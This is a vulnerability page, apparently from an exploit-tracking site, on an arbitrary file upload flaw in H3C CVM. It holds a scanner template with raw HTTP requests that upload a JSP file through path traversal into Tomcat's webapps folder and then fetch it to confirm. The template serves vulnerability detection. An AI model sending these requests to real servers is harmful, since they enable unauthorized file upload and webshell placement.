h3c-cvm-arbitrary-file-upload: H3C CVM - Arbitrary File Upload

2025-08-01 H3C CVM PoC Public

Description

An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.

PoC

id: h3c-cvm-arbitrary-file-upload

info:
  name: H3C CVM - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/h3c-cvm-fileupload.yaml
    - https://github.com/tr0uble-mAker/POC-bomber/blob/main/pocs/redteam/h3c_cvm_fileupload_2022.py
  metadata:
    verified: true
    max-request: 2
    fofa-query: server="H3C-CVM"
  tags: h3c,lfi,instrusive,file-upload,intrusive,vuln
variables:
  filename: "{{rand_base(5)}}"
  payload: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{filename}}.jsp&name=222" HTTP/1.1
        Host: {{Hostname}}
        Content-range: bytes 0-10/20
        Accept-Encoding: gzip, deflate

        {{payload}}
      - |
        GET /cas/js/lib/buttons/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{payload}}"

      - type: word
        part: header
        words:
          - "Content-Type: text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ece2b16e7a366c67030b7b6fc9471641647adc3af8d2c164d3694854ae9ec455022100a73628cd38129f44a0a24e25914b7fe0be5cac048cf139c9e359e8dc8e18c507:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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